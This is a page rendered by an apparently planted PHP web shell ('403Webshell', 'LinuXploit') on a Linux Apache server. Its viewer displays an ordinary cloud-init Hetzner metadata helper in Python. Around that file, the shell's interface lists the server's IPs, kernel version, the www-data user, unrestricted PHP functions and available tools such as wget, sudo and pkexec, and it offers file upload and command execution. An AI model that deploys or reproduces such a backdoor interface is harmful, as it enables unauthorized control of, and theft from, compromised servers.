403Webshell
Server IP : 104.21.84.107  /  Your IP : 104.23.243.196
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core22/current/lib/python3/dist-packages/cloudinit/sources/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core22/current/lib/python3/dist-packages/cloudinit/sources/helpers/hetzner.py
# Author: Jonas Keidel <[email protected]>
# Author: Markus Schade <[email protected]>
#
# This file is part of cloud-init. See LICENSE file for license information.

from typing import Optional, Tuple

from cloudinit import net, url_helper


def _skip_retry_on_empty_response(cause: url_helper.UrlError) -> bool:
    return cause.code != 204


def get_metadata(
    urls,
    max_wait=120,
    timeout=2,
    sleep_time=2,
) -> Tuple[Optional[str], bytes]:
    try:
        url, contents = url_helper.wait_for_url(
            urls=urls,
            max_wait=max_wait,
            timeout=timeout,
            sleep_time=sleep_time,
            # It is ok for userdata to not exist (that's why we are stopping if
            # HTTP code is 204) and just in that case returning an empty
            # string.
            exception_cb=_skip_retry_on_empty_response,
        )
        if not url:
            raise RuntimeError("No data received from urls: '%s':" % urls)
        return url, contents
    except url_helper.UrlError as e:
        if e.code == 204:
            return e.url, b""
        raise


def get_interface_name_from_mac(mac: str) -> Optional[str]:
    mac_to_iface = net.get_interfaces_by_mac()
    return mac_to_iface.get(mac.lower())

Youez - 2016 - github.com/yon3zu
LinuXploit